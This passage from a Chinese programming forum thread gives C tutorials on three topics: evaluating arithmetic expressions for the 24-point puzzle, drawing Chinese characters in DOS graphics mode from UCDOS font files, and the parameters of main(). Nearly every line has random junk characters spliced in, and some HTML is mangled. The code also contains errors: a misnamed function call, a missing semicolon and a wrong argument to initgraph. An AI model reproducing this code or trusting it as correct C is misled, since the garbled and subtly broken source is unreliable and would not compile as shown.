$ T1 z9 y0 x+ c1 ?8 }: \{ int p;
2 G# l: u4 T1 T8 c' Wswitch(c)
. k  E  w) t- x! A+ t{ case '*': p=2; break;  E. a! J! O) X$ X+ g8 ~( f1 ^) |
case '/': p=2; break;
, r6 {3 [& j% [: A( O4 [0 qcase '+': p=1; break;
5 ~; m$ d& f6 q9 vcase '-': p=1; break;
7 c# O4 y! _9 z3 D" A7 t) Dcase '(': p=0; break;
0 H/ T/ u1 P. \2 _7 _- q, Dcase '=': p=-1; break;  W- F! B6 p# f) G, [: b) k
}4 A. G& c4 g0 X' _+ u
return(p);( F1 g+ A$ K7 Y# Q
}
; _. v8 P; d6 s9 k# L0 ^8 r/* 此函数实现中缀到后缀的转换 */2 D" b6 N! G% H7 ]9 i5 \/ k
/* M的值宏定义为20 */+ G3 d: f6 u0 [
/* sp[]为表达式数组 */
- B6 M8 R0 v) Q3 g2 Aint mid_last()
" `7 g- {  S6 i" U( Y{ int i=0,j=0; char c,sm[M];+ X. x: K. t1 w- q
c=s[0]; sm[0]='='; top=0;( O5 |" g  C3 g" f9 Z
while(c!='\0')
% b# w2 R) `8 N! b) e{ if(islower(c)) sp[j++]=c;6 g# B9 @% ^- C
else switch(c)
7 g7 q6 z' g# x8 `1 R{ case '+':
/ V" f) \/ z  K. ?3 Ncase '-':
) f) ^/ c5 A0 H, L. V8 Q  Icase '*':+ J, S% x; W$ t: Q2 l
case '/': while(first(c)&lt;=first(sm[top]))8 S6 N3 X$ h; u6 b: S; G: S) V* l$ Q4 y4 _- T
sp[j++]=sm[top--];
0 Y1 T9 ]& C2 j2 h: m2 qsm[++top]=c; break;) g' `% z# y5 l# B5 Y
case '(': sm[++top]=c; break;
7 {2 O* {/ p3 O7 o9 mcase ')': while(sm[top]!='(')8 y: y- Q8 A+ c6 X$ \1 x
sp[j++]=sm[top--];$ p9 i% d; R) h' S
top--; break;
& W% Z! h' s! f! P5 idefault :return(1);
1 D: \8 @# a' F! I, O  ?}# v) F2 e3 G' D8 u+ e4 `1 X
c=s[++i];
) [0 ~8 I* A; b, |  `4 ?' }+ r}
$ s; e2 ?, ]+ ~* Owhile(top&gt;0) sp[j++]=sm[top--];
* ]  g9 m7 D3 f: ^" w$ }sp[j]='\0'; return(0);2 S: _" _3 z% @$ E! V% ?& E9 `
}
3 w5 f, d' z: f3 E" z/* 由后缀表达式来计算表达式的值 */
7 e: D5 p/ }4 A/ o4 g* Zint calc()& H7 W$ T# x4 v# J! G5 \
{ int i=0,sm[M],tr; char c;
, t( q$ n* O& d1 kc=sp[0]; top=-1;7 o4 e: e4 V4 u9 w' s8 p$ y2 n
while(c!='\0')1 G( v+ b/ T. L; S0 Q
{ if(islower(c)) sm[++top]=ver[c-'a'];/*在转换过程中用abcd等来代替数,6 g4 F, ^; P- V( H$ b3 @- t
这样才可以更方便的处理非一位数, ! l! v# ~# f- v. k' b$ y/ c: x* L0 D
ver数组中存放着这些字母所代替的数*/
2 B% ~4 w% @* r5 g0 K+ x. delse switch(c)
7 A9 C3 R- V5 n6 _' e{ case '+': tr=sm[top--]; sm[top]+=tr; break;
1 y5 T0 X, o* y6 \9 lcase '-': tr=sm[top--]; sm[top]-=tr; break;
* x2 U# C; w' y: I" p5 `1 P* Gcase '*': tr=sm[top--]; sm[top]*=tr; break;
' N9 u8 p3 O' ~% m- ocase '/': tr=sm[top--];sm[top]/=tr;break;
7 x; e  U& F6 \1 R$ Vdefault : return(1);: n4 b/ X4 @9 A  i! N3 I
}" Y+ F' d* n: ^5 ~& L
c=sp[++i];
/ a3 R5 `# H% \* C# v* \}# p3 \: L$ m* E( R0 r
if(top&gt;0) return(1);
2 L, F; f% N' C, P& _else { result=sm[top]; return(0); }3 F1 n0 P- N* r% j' S1 s
}
- o( _0 x6 d8 x</FONT>& u- r5 |+ g, }: W( N* B: ~: {* y
  这样这个程序基本上就算解决了,回过头来拿这个程序来算一算文章开始的那个问题。哈哈,算出来了,原来如此简单——(6-3)*10-6=24。/ c- Q/ G3 L  w, \/ U& c/ L

; O( }; T3 T, W2 a/ M. a  最后我总结了一下这其中容易出错的地方——
1 n/ ~6 [. I+ t1 m( M0 v" [% s6 N' o( |4 l) k! e
  1、 排列的时候由于一个数只能出现一次, 所以必然有一个判断语句。但是用什么来判断,用大小显然不行,因为有可能这四个数中有两个或者以上的数是相同的。我的方法是给每一个数设置一个代号,在排列结束时,通过这个代号找到这个数。5 e! [$ K% U# ?1 m  t' k3 O

: Z) b$ Y. p2 q3 W# ~, j  2、在应用嵌套函数时,需仔细分析程序的执行过程,并对个别变量进行适当的调整(如j的值),程序才能正确的执行。
3 Y$ U- H6 |# ^( v6 p- {! \% v4 m& Y
  3、在分析括号问题的时候要认真仔细,不要错过任何一个可能的机会,也要尽量使程序变得简单一些。不过我的分析可能也有问题,还请高手指点。
* p6 g5 F  |8 P* S* v# N
+ v& J! u! X: W8 A% R# O5 a  4、在用函数对一个数组进行处理的时候,一定要注意如果这个数组还需要再应用,就必须将它先保存起来,否则会出错,而且是很严重的错误。
6 o) ]+ q& y4 A$ m8 J+ ^1 H
+ C0 n$ ~5 S0 E  5、在处理用户输入的表达式时,由于一个十位数或者更高位数是被分解成各位数存放在数组中,所以需对它们进行处理,将它们转化成实际的整型变量。另外,在转化过程中,用一个字母来代替这个数,并将这个数存在一个数组中,且它在数组中的位置和代替它的这个字母有一定的联系,这样才能取回这个数。
7 {% F& ]# |/ d9 _- \! g! b: r7 Y  R# s: K5 S
  6、由于在穷举过程难免会出现计算过程中有除以0的计算,所以我们必须对calc函数种对于除的运算加以处理,否则程序会因为出错而退出(Divide by 0)。& R9 X; ]3 t- L, O9 \

) `7 K( ?$ m5 D  n& S7 v' a  7、最后一个问题,本程序尚未解决。对于一些比较著名的题目,本程序无法解答。比如说5、5、5、1或者8、8、3、3。这是由于这些题目在计算的过程用到了小数,而本程序并没有考虑到小数。
0 p% m5 L9 D$ D8 k, Y7 j</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

< align=center><FONT color=#cc0000 size=5><B>
3 p! S) h" H( I9 J图形模式下的汉字显示</B></FONT></P><> </P><> 我们在编写一些应用软件时,为了使软件更为通俗浅显、易学易用,具备汉字的用户界面是必不可少的条件。在文本模式下,只要有汉字操作系统的支持,显示汉字是不成问题的。只要用printf或cprintf就可以了。#include <STDIO.H>void main(){printf("我正在学习C语言!");}' D0 C  P3 W% s5 I: }& C- G
  在图形模式下显示汉字就稍稍麻烦些。可幸的是有很多人从事这一问题的研究,并开发了一些用于汉字显示的函数。这些函数不需要汉字系统的支持,但用到其中的字库文件。如UCDOS的HZK16。: a  p  d* U$ c9 x
  汉字显示的第一步是打开字库文件。
6 ~: r8 b& A, [. O  函数: int OpenHz(const char *Hz16Path); 功能:打开字库文件Hz16Pathint handle; /*打开的字库文件指针*/int OpenHz(const char *Hz16Path){return (handle=open(Hz16Path,O_RDONLY|O_BINARY));} 打开字库文件后,就可以用下面介绍的函数显示16点阵的汉字。) L1 r4 m6 I: f& H5 {; D& k" w3 J: g
  函数: int WrtHz16(int x,int y,int z,int color,char *p); 功能:在(x,y)用color颜色显示汉字串p,汉字之间的空格数为z。intWrtHz16(int x, int y,int z,int color,char *p)
/ N( w* X4 D9 O' v, S{
; s0 G& }# }; w, O/ K8 cunsigned int i,c1,c2,f=0; /*x,y:write at (x,y);*/
# E% ~* a- P% |1 M, Y) t; fint rec,i1,i2,i3; /*z:space between;*/
* j. T! @& d/ A4 W' }) E: P5 plong l; /*color:txt color*/
1 z0 N  q# X8 M5 O" E6 Q$ nchar by[32]; /*p:HZ str*/
: o  f" a0 n. U6 C/ eif( handle&lt;0 ) return -1; while((i=*p++)!=0){
; \+ K( g- N" |  j# [/ A7 {/ Y! {if(i&gt;0xa1)
5 l: H+ j! `4 G. r8 P$ h) rif(f==0){
" n+ S7 r% F4 X" p/ K6 Ic1=(i-0xa1)&amp;0x07f;. _/ R$ H! [* K7 U* |3 c5 L% x
f=1;3 X& l+ r; H& a; i4 [0 s6 ]
}
' s3 h- K3 E9 Welse{
- V$ b# L0 q1 y! `( B$ W6 [1 Uc2=(i-0xa1)&amp;0x07f;
' [- d4 x) o, x# f  w% Uf=0;
, M, F$ I7 G, N& y; @7 R% w/ h, Q2 {rec=c1*94+c2;
! h5 C) X( B$ g1 h* R& Ml=rec*32L;. X0 }4 z2 S; D9 o! C
lseek(handle,l,SEEK_SET);# q: A3 j2 A: z% B1 Z
read(handle,by,32);6 W4 ?6 l- T5 ]! p% G, V5 @
for(i1=0;i1&lt;16;i1++)4 J% i% R1 l) y4 m+ _' |* E. X
for(i2=0;i2&lt;2;i2++)
2 @7 m4 J) h. Q* e5 T5 ]2 Sfor(i3=0;i3&lt;8;i3++)
) _) u/ r: g" j9 F9 `: tif(GetBit(by[i1*2+i2],7-i3))
: }/ y( V8 i7 g0 iputpixel(x+i2*8+i3,y+i1,color);
& E; U6 H. f% q( [! ?  d% W" Fx=x+z+16;% q9 X  c* O+ D+ h1 M9 I' U. O9 A
}
) F) {# D- Q* x. h2 M2 w, V}; C$ c& T: Z5 Z3 b
return(x);* G% x8 P! D0 L' b- j/ S
}
7 S, B7 i1 n+ l" [函数GetBit定义如下:
3 V& l4 s! b/ U+ R) |/ d' Y  函数: int GetBit(unsigned char c,int n); 功能:取得汉字的点阵数据。
) l2 k( ^9 @- r  p  Y0 Sint GetBit(unsigned char c,int n)
& l$ n' v" \6 i{# Z, e" e4 ^$ i% l* _- u- a3 u( a
return((c&gt;&gt;n)&amp;1);
% m9 P% `* |. z" c/ }8 K}6 ]# V0 ?. U2 T( d5 Q" ?
汉字显示结束,应该关闭字库文件。, R4 Q' s3 R0 b2 K* C% P9 w( F
void CloseHz(void)
6 P1 E- z3 Z5 f+ K7 s7 r- G" R1 s{
2 q; h5 P# P. c; }, ~4 yclose( handle );' ?; [3 M! s! i" u& F) l
}7 ?0 B& l( _$ t9 y
#include "\Caic\Include\Hz.h"
% P' O+ s  B  K#include <GRAPHICS.H>
5 @7 n, K# w# E( n9 `5 M( w. @#include <CONIO.H>const char* Hz16Path = "\\UCDOS\\Hzk16.";
# \0 X$ u% ^4 d" l5 i6 F0 K3 \const char* HzStr = "苦丁香C语言辅助学习软件";8 f/ }  O! B# f" T6 H! @# ]9 x
void main(){1 l/ |# R- a7 ?8 y
int gr=DETECT,gm;' P# O) [. X% g/ A& O
initgraph(&amp;gr,&amp;gm,"\\Caic\\Bgi");8 R: p$ |# M. w4 j
OpenHz( Hz16Path );
1 i1 v6 E% f6 e8 @* M! K9 }Wrt16Hz(20,20,4,RED,HzStr);% ^& f* o: T! B2 T. D1 }
CloseHz();
, S0 h3 z5 {, q. v, W+ sgetch();, L" {# a1 `* a. l1 o6 @0 f
closegraph();& \# j8 o# o( p# W8 L+ b
}显示24点阵及放大汉字( S. S: o; ^4 V8 ^3 D
  下面探讨一下如何显示24点阵及放大汉字。24点阵字库也可在任意一种汉字系统中找到。如UCDOS的HZK24S。
# m0 S4 l; j$ y4 O6 L函数: int WrtHz24(int x,int y,int z,int color,int m,\int n,char *p); 功能:显示24点阵及放大汉字。$ |) f+ O* R) d7 l! b* H
int WrtHz24(int x,int y,int z,int color,int m,int n,char *p)$ r: T! E7 R2 A$ `9 @6 P) q; I) s
{. h& j" d8 G) h0 x
unsigned int i,c1,c2,f=0; /*z: 汉字字符间的空格*/
, ^4 P" O2 K' [4 A% Dint i1,i2,i3,i4,i5,rec; /*x,y: 先是位置(x,y)*/
1 ]5 u3 r, r' Ylong l; /*color:汉字颜色*/3 O$ d% O8 U; P! }9 d
char by[72]; /*m: x 方向的放大倍数*/
6 d) _0 s- }6 R0 x2 G1 ]/*n: y 方向的放大倍数*/
, ?" d( ]. o. ^: q% z) kif( handle&lt;0 ) return -1; /*p: 显示汉字串*/ while((i=*p++)!=0){
) `6 |, F% ?5 g: c8 nif(i&gt;0xa1)
' O- m# U! ?' E& c, E" _" `, wif(f==0){
2 ~1 f) @- ?9 Z( U* W7 j% D3 t. b) hc1=(i-0xa1)&amp;0x7f;
, N" A+ O' }# |9 z) N% If=1;" e- Y4 p, d( S+ p2 c, E/ ^& D
}
4 V+ v$ y1 K3 Q( e+ telse{
( N% s( H$ ^: e6 hc2=(i-0xa1)&amp;0x7f;9 J4 K2 x$ Y& s8 q) a8 H8 f2 I) y
f=0;' {! v% S# f) k% q4 Q1 r
rec=(c1-15)*94+c2;0 P4 z9 j3 T% {' |# S0 B8 f
l=rec*72L;9 o/ c) t' H% d9 J' U+ A* M
lseek(handle,l,SEEK_SET);
0 g/ L. j$ L6 ~. Q( @+ J- oread(handle,by,72);, r- Q0 d/ E6 P; W  C
for(i1=0;i1&lt;24*m;i1=i1+m)
  U. m, G9 O# t/ A6 y' {0 }5 Gfor(i4=0;i4<M;I4++)- i( W; `! `: q1 [" N  _
for(i2=0;i2&lt;=2;i2++)- x4 ~, S$ u& o2 ^! c5 t* m
for(i3=0;i3&lt;8;i3++); A. p& G, e  a
if(GetBit(by[i1/m*3+i2],7-i3))
) I" J1 T2 X0 m% E/ pfor(i5=0;i5<N;I5++)
2 i7 z7 e" Q5 {- B+ p9 y putpixel(x+i1+i4,y+i2*8*n+i3*n+i5,color);2 @4 d" W6 `% r; y4 D( g( S
x=x+24*m+z;  x( v8 x2 C2 r
}2 h( g( O0 {  v/ Z8 E
}) W: A3 ?. Y, X. i
return(x);
# Q5 [# ~! ^6 L1 A" G7 X% U} 使用Wrt24Hz的例子:#include "\Caic\Include\Hz.h"
4 G6 j; k+ N( k. ^; W#include <GRAPHICS.H>7 _$ y& G! b' @& P3 X6 A
#include <CONIO.H>const char* Hz24Path = "C:\\Ucdos\\fnt\\hzk24s."
* x' x8 w: @2 J; i' I' Aconst char* HzStr = "苦丁香C语言辅助学习软件";
, [: f1 Q' W0 |* p7 b$ X8 `void main(){, x  B7 t9 [8 ~+ a# A0 D
int gr=DETECT,gm;
' B. E# c+ p! [' R+ }* K# O2 Vinitgraph(&amp;gr,gm,"\\Caic\\Bgi");8 w. K6 T5 z$ D8 n) m
OpenHz( Hz24Path );8 t" x4 U7 r4 A# @0 o9 T7 f
Wrt24Hz(20,20, /*先是在(x,y)*/% |' @7 ?$ Q+ X: U
4, /*汉字间的空格为4*// C0 P, n7 d, {6 }$ K% u
RED, /*用红色显示*/6 k/ ?, y( o' q1 H) w
2, /*x 方向放大2倍*/
% T0 s% x6 M* g2 F# F4, /*y 方向放大4倍*/; k7 X: p" c" `) J$ F5 f! E/ b
HzStr); /*显示字符串*/
  x0 v8 {1 U! E  ICloseHz();+ q4 h/ \, J5 L0 Z; c, W
getch();
2 Q+ a' A  n4 |1 P+ P- Mclosegraph();' D. C* s" ~9 H+ Q5 i% T" W
} ' H) c- f7 ?8 t. Q5 Q+ r5 H% T
</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<>  再谈main()主函数: F0 h: c/ Q1 v2 e% L' @. ]6 T
  每一C 程序都必须有一main()函数,可以根据自己的爱好把它放在程序的某个地方。有些程序员把它放在最前面,而另一些程序员把它放在最后面,无论放在哪个地方,以下几点说明都是适合的。
! Y! H& Z! ?8 u  j1. main() 参数
- t2 T  e4 q! g) E4 n. G  在Turbo C2.0启动过程中,传递main()函数三个参数:argc,argv和env。
* _$ U- X, E: W* g5 V  * argc: 整数,为传给main()的命令行参数个数。
/ l3 Z6 V4 m2 N  K$ G  * argv: 字符串数组。$ I% g5 u8 X6 e& G8 S: }
在DOS 3.X 版本中,argv[0] 为程序运行的全路径名;
" C$ r6 W6 Z8 K" g, [" @$ C# G对DOS 3.0 以下的版本,argv[0]为空串("") 。argv[1] 为在DOS 命令行中执行程序名后的第一个字符串;argv[2] 为执行程序名后的第二个字符串;
8 E# N, e+ m! o9 }' J& e..., P* C1 [! \) a, F2 o0 x: {
argv[argc]为NULL。
1 Q: j, c+ ]/ u  *env: 安符串数组。env[] 的每一个元素都包含ENVVAR=value形式的字符串。其中ENVVAR为环境变量如PATH或87。value 为ENVVAR的对应
+ K; s, t( b" }* @  k& b( F4 [2 }值如C:\DOS,C:\TURBOC(对于PATH) 或YES(对于87)。</P>
回复

使用道具 举报

9#
无效楼层,该帖已经被删除
10#
无效楼层,该帖已经被删除
您需要登录后才可以回帖 登录 | 注册地址

qq
收缩
  • 电话咨询

  • 04714969085
fastpost

关于我们| 联系我们| 诚征英才| 对外合作| 产品服务| QQ

手机版|Archiver| |繁體中文 手机客户端  

蒙公网安备 15010502000194号

Powered by Discuz! X2.5   © 2001-2013 数学建模网-数学中国 ( 蒙ICP备14002410号-3 蒙BBS备-0002号 )     论坛法律顾问:王兆丰

GMT+8, 2026-6-3 12:18 , Processed in 0.901350 second(s), 97 queries .

回顶部